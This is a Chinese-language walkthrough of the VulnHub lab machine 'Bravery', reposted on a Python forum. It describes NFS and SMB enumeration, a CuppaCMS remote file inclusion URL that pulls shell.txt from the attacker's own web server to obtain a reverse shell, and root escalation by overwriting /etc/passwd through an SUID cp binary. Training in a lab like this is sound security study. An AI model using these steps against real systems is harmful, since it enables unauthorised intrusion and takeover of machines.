社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Git

vulnhub综合靶场:DIGITALWORLD.LOCAL之《勇敢传说》

国科漏斗社区 • 2 年前 • 331 次点击  
一、知识点和漏洞


1.知识点

(1)Linux 文件权限、命令

(2)Nmap参数

(3)共享服务与端口(NFS)

(4)cuppa cms

(5)netcat(nc)工具的使用

(6)Linux提权


 2.漏洞

(1)地和远程文件包含漏洞


二、整体环境和工具


虚拟机

沙箱区域

IP地址

百香果沙盘



Kali 2021(VPS)

互联网攻击区

66.28.6.100

bravery-improved靶机

攻击目标-公司总部局域网 DMZ区(Z-DMZ)

66.28.7.2

1.靶机:

官网地址:https://www.vulnhub.com/entry/digitalworldlocal-bravery,281/

靶机安装过程:

1)将安装解压缩得到如下文件。


2)打开VMware点击左上角的文件-打开-选择ovf文件-打开。



3)打开后设置靶机名称,存储位置即可。



2.操作机(VPS):

kali linux 2021.1官网链接:https://www.kali.org/


3.工具

(1)nmap

安装:kali内置

使用说明:nmap -sP 10.10.10.0/24

(2) metasploit

安装:kali内置

使用说明:https://www.fujieace.com/metasploit/tutorials.html


三、靶场演练过程


将kali虚拟机加入到百香果沙盘的互联网攻击区,对应IP地址为66.28.6.100;vulnuni靶机则作为攻击目标加入公司总部局域网中DMZ区(Z-DMZ)的服务器对互联网区提供网站服务,映射到互联网的IP地址为66.28.7.2(端口映射待会在Fw3防火墙上进行内置)。


1.攻击打点


我们现在已经知道了网段假设我们未知其IP那么,所以首先使用kali自带的nmap工具对Vmware 7网段进行一次存活主机的扫描。

可以看到上面有2条ip地址,按照常理判断.1的是VMware 7 的网关地址,那么.2就是bravery-improved映射到公网的IP地址了,由此就判断出要进行渗透的IP地址为66.28.7.2/24

得到ip地址后,针对该主机进行服务于端口的扫描,得到该靶机的服务与端口信息。


这里使用的namp的参数为:

-n : 不做DNS解析(因为在同一网段内,为了节约扫描时间)。

-p-:只扫描指定的端口,在加上-表示扫描所有端口;一般用法:-p445、-p1-666。

-A:一次扫描包含系统探测、版本探测、脚本扫描和跟踪扫描。

-o:将扫描结果保存到文件;一般用法:-oN 标准保存格式。


从扫描的结果来看,该靶机开放了很多端口,但是大多数都和共享有关、如:nfs(2049)、smb(445)。

根据图中的服务来,我们先针对于nfs进行分析检测是否存在漏洞。

使用showmount命令查看是否存在nfs目录。

发现没办法建立连接,查询后得知是靶机内部nfs配置的原因,那么我们换种思路尝试使用newss进行漏洞扫描。

果然发现了其存在NFS 共享信息泄露漏洞,泄露位置/var/nfsshare。

那么回到kali中 可以再次使用metasploit利用该漏洞验证漏洞泄露位置的目录。

接下来将该目录挂载到本地中。

可以使用df -k命令查看当前挂载的信息。

使用ls查看挂载目录下的文件。

就目测来说,并没发现什么有用的信息,接下来我使用cat查看这些文件。

然后将上述信息翻译得到。

根据提示可能存在明文密码,这里怀疑qwertyuioplkjhgfdsazxcvbnm ,我们先查看开放的端口445,这里使用enum4linux。

enum4linux是Kali Linux自带的一款信息收集工具。它可以收集Windows、Linux系统的大量信息,如用户名列表、主机列表、共享列表、密码策略信息、工作组和成员信息、主机信息、打印机信息等等。


根据上面的信息,可以知道有匿名共享是可以直接访问,还有个共享 //66.28.7.2/secured 不能访问,发现有本地用户david和rick ,先看看匿名共享文件夹。

发现了一堆东西,但是逐个分析发现并没得到什么有用的东西。

此时退出共享,回到挂载目录下,发现多出来一个文件。

使用cat进行查看。

根据翻译与百度得到的信息判断这是用户david的访问日志,那么说明上面提到的共享文件 //66.28.7.2/secured 是有关于david这个用户,密码就是尝试上述提供的明文密码:qwertyuioplkjhgfdsazxcvbnm

登陆成功,然后ls查看该目录下的文件,使用get命令下载到本地,逐个查看得到如下信息:


这里得到两个网址,访问。


在第二个网页中发现了一个登录窗口。

可以得到该窗口使用的是cuppa cms,通过搜索可以知道CuppaCMS是一套内容管理系统(CMS)。CuppaCMS 2019-11-12之前版本存在安全漏洞,攻击者可利用该漏洞在图像扩展内上传恶意文件,通过使用文件管理器提供的重命名函数的自定义请求,可以将图像扩展修改为PHP,从而导致远程任意代码执行。

kali下搜索验证发现有可利用的漏洞。

将该漏洞说明下载到本地目录下查看对应的利用信息。

这里是存在本地和远程文件包含漏洞,可以构造url去查看/etc/passwd的文件内容,和利用有漏洞的php获得shell.txt内容进行远程命令执行。我们通过本地kali搭建一个简易的web服务端,然后编写写好php脚本,直接利用远程文件包含,这里需要注意的是文件名是要txt扩展名,而不是php,那么接下来介绍漏洞的利用步骤了。


2.获取系统shell


步骤1:编写shell.txt

System函数是php用于执行外部程序,并且显示输出的,所以这里的意思就是让攻击者重命名函数的自定义请求去访问php页面的时候,会执行函数内的命令:bash反弹在目标主机中没有nc时获取反向shell,因为我们不知道靶机是否存在nc工具,而我们攻击机是需要用到nc工具的。


注:NetCat,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。因为它短小精悍(1.84版本也不过25k,旧版本或缩减版甚至更小)、功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。


步骤2:启动简易的web服务端

这里直接使用php -S命令,php5.4开始,引入的一个内置web服务器,需要注意的是,如果没有使用-t参数指定一个目录,那么该web服务器的目录就是执行php -S的目录路径。


步骤3:利用远程文件包含

直接访问:

https://66.28.7.2/genevieve/cuppaCMS/alerts/alertConfigField.php?urlConfig=http://66.28.6.100:8080 /shell.txt?

这里其实就是通过使用文件管理器提供的重命名函数的自定义请求将shell.txt命名为了php,通过访问该网页从而触发执行该php页面中我们编写好的system函数内的语句,回到kali可以看到web服务器中本地的shell.txt是被调用了的。

这里需要注意到一点是靶机上是有启用了SSL的,所以我们使用的http访问会变成https那么这样诸如蚁剑之类的工具就不好使用了,而我们的kali上搭建的简易web端是没有SSL的所以当你使用https访问的时候就会发现web端给你报Invalid request (Unsupported SSL request) 就是不支持SSL


步骤4:启动nc侦听端口回弹shell

启动侦听状态后,重新访问网页,即可回弹shell。

3.权限提升


步骤1:查找suid可以提权的文件

这里命令的含义是从/目录开始查找权限包含-s权限的文件,发现cp包含-s权限,使用这里可以使用cp提权,添加新用户和原本的passwd内容拷贝进新的passwd文件,再使用cp命令覆盖即可。


步骤2:添加新用户与上传passwd文件


先根据步骤一进入到shell,使用cat /etc/passwd获取原本的passwd内容,其实在发现这个漏洞的时候我们就可以通过构造url读取/etc/passwd了,这里两种方法都可以,然后复制到新的passwd中并添加新用户。

这里添加了一个名称为:luosen 密码为:123455的用户

然后上传,我还是想到使用远程包含漏洞,这里之前我使用的是一句话木马配合蚁剑上传passwd文件,但是由于靶机使用了SSL协议导致蚁剑就不那么好用了,那么我们可以通过nfs共享目录直接将我们构造的passwd文件移动进去,然后再构造shell.txt使用system函数执行cp命令将原passwd替换掉。

移动passwd到共享文件夹下:

步骤3:使用cp覆盖原passwd提权


构造执行cp命令的shell.txt

接下来就是按照前面触发漏洞的步骤再次触发,漏洞即可完成替换。

我们可以使用漏洞去读取/etc/passwd查看是否替换完成。

如图就说明我们完成了passwd的替换。

使用su切换用户,切换后使用id命令即可看到我们的权限为root权限了。

到这里就拿到了我们靶机的最高权限了。


四、过程问题记录

1、在完成该靶场时,碰到的最大的问题就是没有合适的思路,只有一个大概的方向,然后就是因为是放到百香果沙盘里去实现的操作 我也是第一次去使用可能不是很能搞清楚这个服务器或者说是什么通信的规则。

解决方法:多去了解学习大牛的文章,可能说不能百分百解决但是也可以引导思路。


2、在针对提权上,我使用了les.sh也就是linux-exploit-suggester来检测是否存在提权cve漏洞,发现其存在脏牛漏洞于是,就打算使用GitHub上下到CVE-2016-5195的脚本跑,结果发现靶机的GCC版本无法使用make命令。

解决方法:后面使用nc工具,进入shell,使用cp命令替换passwd提权。


五、收获和总结


在完成本次任务后,我最大的收获就是,碰到问题如果一直卡着,那不妨暂时放开去论坛看看,说不定就能找到另外一种的思路方法,总的来说就是记得:正确的答案不止一个

在技能方面,对于NC工具、本地和远程文件包含漏洞、php -S、enum4linux、CuppaCMS等工具漏洞不能说掌握只能说是加深了了解。


六、参考资料


1.Linux /etc/passwd内容解释:

http://c.biancheng.net/view/839.html 

2.Linux find命令用法:

https://blog.csdn.net/daizheng12345/article/details/84064033

3.隐藏通信隧道技术之传输层隧道技术(主要看NC部分):

https://blog.csdn.net/Kris__zhang/article/details/106821765

4.nmap命令使用详解:

https://blog.csdn.net/hedtao/article/details/23830887

5.enum4linux介绍:

https://blog.csdn.net/qq_40399982/article/details/112902188

6.CuppaCMS 文件上传漏洞复现(CVE-2020-26048)

https://blog.csdn.net/xuandao_ahfengren/article/details/111357696

7.PHP-S 命令:

https://blog.csdn.net/qq_37138818/article/details/84069269

8.百香果沙盘资料:

“百香果”内网安全沙盘2.0bate版使用指南-基础篇:

https://mp.weixin.qq.com/s/o6k3yNXlnQ3FwCciBUmrLw

“百香果”内网安全沙盘2.0bate版使用指南-进阶篇:

https://mp.weixin.qq.com/s/nfa2DHkDPE43cIvvRmk1TA

“百香果”内网安全沙盘2.0bate版使用指南-高级篇:

https://mp.weixin.qq.com/s/MfWuBm_H7JxAvBKfnTpLZQ  


扫码关注我们
更多精彩等待你发现
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/120499
 
331 次点击